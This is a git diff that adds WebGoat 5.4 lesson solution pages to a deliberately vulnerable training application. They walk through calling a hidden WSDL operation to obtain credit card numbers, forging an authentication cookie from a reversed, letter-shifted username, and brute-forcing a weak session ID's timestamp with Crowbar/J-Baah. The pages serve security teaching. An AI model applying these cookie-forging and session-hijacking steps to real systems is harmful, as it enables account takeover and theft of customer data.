diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image004.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image004.jpg
new file mode 100644
index 000000000..2a5943d8f
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image004.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image005.png
new file mode 100644
index 000000000..861f3dc14
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image006.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image006.jpg
new file mode 100644
index 000000000..fae87c128
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image006.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image007.png
new file mode 100644
index 000000000..46049533d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image008.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image008.jpg
new file mode 100644
index 000000000..fe5aa8442
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/image008.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/UncheckedEmail_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning.html b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning.html
new file mode 100644
index 000000000..b39269ea1
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning.html
@@ -0,0 +1,724 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Perform WSDL Scanning
+
+
+
+
Concept /
+Topic To Teach:
+
+
Web
+Services communicate through the use of SOAP requests. These requests are
+submitted to a web service in an attempt to execute a function defined in the
+web service definition language (WSDL) file.
+
+
+
+
General
+Goal(s):
+
+
This screen
+is the API for a web service. Check the WSDL file for this web service and try
+to get some customer credit numbers.
+
+
+
+
+
+
Figure 1 Lesson 22
+
+
+
+
Solution:
+
+
+
+
Open the WSDL
+file in a new window. There is an operation getCreditCard.
+
+
+
+
+
+
+
+
Intercept the
+request with WebScarab and change the parameter to getCreditCard
+
+
+
+
+
+
Figure 2 WebScarab raw request
+
+
+
+
+
+
Figure 3 Lesson 22 Completed
+
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/filelist.xml
new file mode 100644
index 000000000..5f46ccf32
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/filelist.xml
@@ -0,0 +1,14 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image001.png
new file mode 100644
index 000000000..3268c9b0a
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image003.png
new file mode 100644
index 000000000..25ea1988a
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image005.png
new file mode 100644
index 000000000..63f42f9de
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image007.png
new file mode 100644
index 000000000..9ca7703d6
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image009.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image009.jpg
new file mode 100644
index 000000000..fb0e23ea9
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image009.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image010.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image010.jpg
new file mode 100644
index 000000000..cb7259343
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image010.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image011.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image011.jpg
new file mode 100644
index 000000000..300095af6
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image011.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image012.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image012.jpg
new file mode 100644
index 000000000..2d00abf25
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/image012.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WSDLScanning_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie.html b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie.html
new file mode 100644
index 000000000..926440486
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie.html
@@ -0,0 +1,915 @@
+
+
+
+
+
+
+
+Solution: Spoof an Authentication Cookie
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Spoof an Authentication Cookie
+
+
+
+
Concept / Topic To Teach:
+
+
+
+
Many
+applications will automatically log a user into their site if the right
+authentication cookie is specified. Some times the cookie values can be
+guessed if the algorithm for generating the cookie can be obtained. Some
+times the cookies are left on the client machine and can be stolen by
+exploiting another system vulnerability. Some times the cookies maybe
+intercepted using Cross site scripting. This lesson tries to make the
+student aware of authentication cookies and presents the student with a way to
+defeat the cookie authentication method in this lesson.
+
+
+
+
+
+
General Goal(s):
+
+
The user
+should be able to bypass the authentication check.
+
+
+
+
Solution:
+
+
+
+
Make sure
+that you have "Show Cookies" enabled in WebGoat. And you need to disable the
+feature "Inject know cookies into requests" in WebScarab otherwise WebScarab
+will always inject your old cookie and not the new cookie.
+
+
+
+
+
+
Figure 1 Disable "Inject known cookies into
+requests"
+
+
+
+
+
+
Figure 2 Logon with webgoat/webgoat
+
+
+
+
You can login
+with webgoat/webgoat.
+
+
+
+
+
+
Figure 3 Logged on as webgoat
+
+
+
+
Hit
+"Refresh". This refresh will show our AuthCookie. And you are now authenticated
+using this cookie and not with parameters like above.
+
+
+
+
+
+
+
+
There is a
+new cookie called AuthCookie with values 65432ubphcfx. Logout and login with
+aspect/aspect.
+
+
+
+
+
+
Figure 4 Logon as aspect/aspect
+
+
+
+
+
+
Figure 5 Logged on as aspect
+
+
+
+
Hit "Refresh"
+to see the new cookie.
+
+
+
+
+
+
Figure 6 Cookie for user aspect
+
+
+
+
You have now
+a different cookie value for AuthCookie: 65432udfgfb
+
+
+
+
+
+
+
webgoat
+
+
+
ubphcfx
+
+
+
+
+
Aspect
+
+
+
udfgfb
+
+
+
+
+
+
+
This is an transposition
+of the letters of the alphabet. Each letter is replaced with its successor, for
+example t->u, a->b and the user name is reversed. So for user name alice the cookie will
+contain the reversed user name ecila and the successors of the letters. This
+results in fdjmb.
+
+
+
+
Login with
+user name alice
+and intercept the request in WebScarab. Add AuthCookie=65432fdjmb to the
+existing cookie JSESSIONID.
+
+
+
+
+
+
+
+
+
+
Figure 7 Add AuthCookie to request
+
+
+
+
+
+
Figure 8 Lesson 11 Completed
+
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/filelist.xml
new file mode 100644
index 000000000..ce42de1c0
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/filelist.xml
@@ -0,0 +1,24 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image001.png
new file mode 100644
index 000000000..edac8c19a
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image003.png
new file mode 100644
index 000000000..0306a8f1f
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image005.png
new file mode 100644
index 000000000..7afb889fe
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image007.png
new file mode 100644
index 000000000..5c6c3d9c8
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image009.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image009.png
new file mode 100644
index 000000000..6d110d265
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image009.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image011.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image011.png
new file mode 100644
index 000000000..6831d62bf
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image011.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image013.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image013.png
new file mode 100644
index 000000000..c04235add
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image013.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image015.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image015.png
new file mode 100644
index 000000000..b0a6eceb4
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image015.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image017.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image017.png
new file mode 100644
index 000000000..78a1feb74
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image017.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image019.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image019.jpg
new file mode 100644
index 000000000..a6e68a265
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image019.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image020.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image020.jpg
new file mode 100644
index 000000000..338a42ed8
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image020.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image021.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image021.jpg
new file mode 100644
index 000000000..c1662c8f0
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image021.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image022.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image022.jpg
new file mode 100644
index 000000000..96f7253fd
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image022.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image023.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image023.jpg
new file mode 100644
index 000000000..c856ee032
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image023.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image024.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image024.jpg
new file mode 100644
index 000000000..1cbf8ff3a
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image024.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image025.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image025.jpg
new file mode 100644
index 000000000..d9b59af8b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image025.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image026.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image026.jpg
new file mode 100644
index 000000000..5d30443e1
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image026.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image027.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image027.jpg
new file mode 100644
index 000000000..dec137dce
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/image027.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakAuthenticationCookie_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID.html b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID.html
new file mode 100644
index 000000000..2bfff1bc5
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID.html
@@ -0,0 +1,90 @@
+
+
+
+
+Solution: How to Hijack a Session
+
+
+
+
Lesson Plan Title: How to Hijack a Session
+
+
Concept / Topic To Teach:
+Application developers who develop their own session IDs frequently forget to incorporate the complexity and randomness necessary for security. If the user specific session ID is not complex and random, then the application is highly susceptible to session-based brute force attacks.
+
+
+
General Goal(s):
+Try to access an authenticated session belonging to someone else.
+In this lesson we are trying to predict the WEAKID value. THe WEAKID is used to differentiate authenticated and anonymous users of WebGoat.
+
+
+Solution:
+The easiest way to complete this lesson is to use WebScarab's Session ID Analysis feature. The Solution Videos provide another method of uncovering it as well.
+To access the Session ID Analysis, you need to put WebScarab in its full-featured mode, if it isn't already. This can be enabled by going to Tools -> use full-featured interface in WebScarab.
+Click on the SessionID Analysis tab at the top of the page, then use the Previous Requests dropdown to select the most recent GET request with a 200 OK header. Its address will end with webgoat/attack, not an image or java file.
+
+
+Selecting the correct GET request for Session ID analysis.
+
+Next, we need to make sure that WebScarab is able to fetch the WEAKID cookie. Click the Test button at the bottom of the page. You should get a popup window showing the WEAKID.
+
+
+Succesful WEAKID test popup.
+
+If the popup indicates that no valid session is found, that means there is already a WEAKID value in the request. This prevents the "Set-Cookie" header from being sent in the response. To fix this, delete the WEAKID=value; portion of the Cookie header and press test again.
+
+Now we need to fetch a set of WEAKIDs. Enter "50" into the Samples field at the bottom of the window, then press Fetch. Switch to the "Analysis" tab. Select the WEAKID option from the Session Identifier dropdown, and the window should populate with WEAKID values.
+
+The WEAKID is divided into two parts: the first part before the dash is an identifier that increases by 1 in each cookie, and the part after the dash is a time value that is calculated when the request is submitted.
+Notice that there is sometimes a gap in the first value of the WEAKID, where one number is skipped. The missing value is what we need to log in, we just need to figure out the time stamp value that goes after the dash.
+It's simple to spot where this value is. Look at the "Difference" column on the analysis screen. Almost all of the values will be only one or two apart. We are looking for the record where this value is around double the rest of them.
+
+
+Analysis screen with the cookie of interest highlighted.
+
+This WEAKID follows the one we're trying to find. You will notice the identifier of the cookie preceding the highlighted one is two less, whereas all the other cookies decrease only by one. The one missing is what we want to find:
+16964-1312472439375
+16966-1312472439484
+The WEAKID beginning with 16965 is missing. This is the WEAKID we want, we just need to figure out the second part.
+
+We'll figure this out by using the brute force method. We will send requests with each possible timestamp value until we find one that is successful. Its timestamp must be between the two surrounding it:
+16964-1312472439375
+16965-?????????????
+16966-1312472439484
+
+So our timestamp is between 1312472439375 and 1312472439484. Now we just need a program to do brute force this for us. We will use J-Baah, previously known as Crowbar. Download it and run the .jar.
+We will configure J-Baah to send our request repeatedly, with a different WEAKID each time. Copy our RAW HTTP Request we used to generate these cookies, found under the Collection tab. Paste it in the Request box in J-Baah.
+
+The WEAKID paramter needs to be put into the request. It will begin with the missing value we figured out before the dash, 16965 in our case. How do we fill in the rest when we dont know what it is?
+In this case, we will add WEAKID=16965-1312472439##1##; to the Cookie paramter of our request. The ##1## replaces the part of the timestamp that varies in our range. Next, we specify this range. In the Paramter 1 Tab, we set From as 375, and To as 484.
+
+
+J-Baah setup.
+Lastly, go to the "Target" tab at the bottom right, and set the Host to localhost and the Port to whichever port WebGoat is using, generally 80 or 8080.
+Go back to the "Action" tab, and click Base Response. You should see a message on the bottom left that a response is generated successfully. Change Threads to 2 and then press Start. The bottom left window should start filling up with "Hijack a session"
+
+
+All of the responses for each WEAKID. The successful attempt is highlighted.
+
+
+Before we go any further, it is important to understand what is happening here. The ##1## string is replaced with a different number in the range we specified and the request is sent. The first WEAKID tried is 16965-1312472439375, then it tries every timestamp until the last one, 16965-1312472439484. J-Baah collects all of these responses and shows them in the bottom left window.
+
+Each line shows one response, and displays important information about it.
+0.99969 : 417 : : Hijack a Session
+Clicking base response tries the first WEAKID and sets its response as the control. This first number indicates how similar this response is to the base response. A value of 1 means the responses are identical. The further the number is from 1, the more different this response is.
+
+0.99969 : 417 : : Hijack a Session
+This second number is the value replacing the ##1## in our request.
+0.99969 : 417 : : Hijack a Session
+The last portion is the title of the response page. In this case, if it's not "Hijack a Session", something went wrong.
+
+The value indicating similarity to the base response will tell us which WEAKID worked. If everything went swimmingly, there should only be three values for this number. Look again at the screenshot above. There are many responses showing .99969, one showing .9949, then many more showing .99954. The response stayed the same until we got to the WEAKID ending in 429, then it changed. This is where the brute force succeeded. Right click on this response and click "Show Response".
+
+
+This WEAKID worked! We hijacked this session.
+
+Refreshing the lesson should show it is complete.
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID.htmlBAK b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID.htmlBAK
new file mode 100644
index 000000000..d2605b85c
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID.htmlBAK
@@ -0,0 +1,889 @@
+
+
+
+
+
+
+
+Solution: How to Hijack a Session
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Hijack a Session
+
+
+
+
Concept /
+Topic To Teach:
+
+
+
+
Application
+developers who develop their own session IDs frequently forget to incorporate
+the complexity and randomness necessary for security. If the user specific
+session ID is not complex and random, then the application is highly
+susceptible to session-based brute force attacks.
+
+
+
+
General
+Goal(s):
+
+
Try to access
+an authenticated session belonging to someone else.
+
+
+
+
+
+
In this
+lesson the purpose is to predict the WEAKID value. The WEAKID is used to
+differentiate authenticated and anonymous users of WebGoat.
+
+
+
+
+
+
+
+
+
+
Solution:
+
+
+
+
The easiest
+way to complete this lesson is to use WebScarab's Session ID Analysis.
+
+
+
+
Go to
+WebScarab and click on the button "SessionID Analysis". Select the last POST
+request from the "Previous requests" drop-down box.
+
+
+
+
Figure 1 WebScarabs SessionID Analysis
+
+
+
+
To make sure
+that WebScarab is able to fetch the WEAKID cookie, you need to click the "Test"
+button on the bottom of the screen. A pop-up window must be shown like below.
+
+
+
+
+
+
Figure 2 SessionID WEAKID discovered
+
+
+
+
If you don’t
+have a pop-up window with the Extracted Sessionids, you must edit the Request.
+You must delete the WEAKID value from the request. Without this cookie value,
+WebGoat will return a HTTP Header "Set-Cookie: WEAKID=value" so WebScarab
+learns about this value.
+
+
+
+
+
+
Fetch 50
+samples and examine the results. Enter "50" in the "Samples" window and click
+the button "Fetch". You will not see any information about progress.
+
+
+
+
+
+
+
+
Now you need
+to go to the tab "Analysis".
+
+
+
+
+
+
+
+
In the "Analysis"
+pane you see nothing.
+
+
+
+
You must
+select the Session Identifier WEAKID value from the drop-down box.
+
+
+
+
+
+
+
+
The WEAKID is
+divided in 2 parts: the first part is an identifier that is added 1 in every
+cookie and a time value. The time value is calculated at the moment that you
+submit the request.
+
+
+
+
Notice that
+there is sometimes a gap in the first value of the WEAKID, skipping with 1. The
+value that is missing is the value that you need to know to log on. Now you
+only need to calculate the timestamp. This can be brute-forced using Crowbar.
+You know the previous timestamp and the next timestamp so you have a start and
+end value.
+You can download Crowbar for free: http://www.sensepost.com/research/crowbar/
+
+
+
+
+
+
+
+
+
There is a
+value 16935 and a value 16937 with a numeric difference of 28110 instead of
+14109, so there the WEAKID cookie is located. Copy and paste the raw HTTP
+request in Crowbar:
+
+
+
+
Figure 3 Crowbar
+
+
+
+
Change target
+to localhost and adjust the port.
+
+
Create a Base
+response. Make sure that you see "How to hijack a session" in the middle
+window.
+
+
+
+
Insert ##1##
+in the WEAKID parameter where you want to brute-force the value and be aware, that the first part of the WEAKID is the one we are searching for (16936).
+The WEAKID in Crowbar lookes like this: Cookie: JSESSIONID=...; WEAKID=16936-1163685##1##;
+Start the first loop at 363093, the last digits of the last cookie before the
+authentication cookie and 363203, the first cookie after the authentication
+cookie. You have to enter these two values in the Parameter1 fields. We have to brute-force these values, but we are sure that they lie
+between these two boundaries.
+
+
Examine the
+results until you see a different fuzzy logic value (the blue line in Figure 3), right-click it and click on "Show
+reply".
+
+
+
+
+
+
Figure 4 Lesson 12 Completed
+
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_files/image001.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_files/image001.jpg
new file mode 100644
index 000000000..7309a0035
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_files/image001.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_files/image002.jpg
new file mode 100644
index 000000000..3b442cc42
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_files/image003.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_files/image003.jpg
new file mode 100644
index 000000000..21ce9ef3d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_files/image003.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_files/image004.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_files/image004.jpg
new file mode 100644
index 000000000..52b78aaca
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_files/image004.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_files/image005.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_files/image005.jpg
new file mode 100644
index 000000000..bbc01ffc1
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_files/image005.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_files/image006.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_files/image006.jpg
new file mode 100644
index 000000000..27ca4296d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_files/image006.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/filelist.xml
new file mode 100644
index 000000000..082acf789
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/filelist.xml
@@ -0,0 +1,25 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image001.png
new file mode 100644
index 000000000..560ca80c0
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image003.png
new file mode 100644
index 000000000..f0100265e
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image005.png
new file mode 100644
index 000000000..c42733b93
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/WeakSessionID_filesBAK/image005.png differ
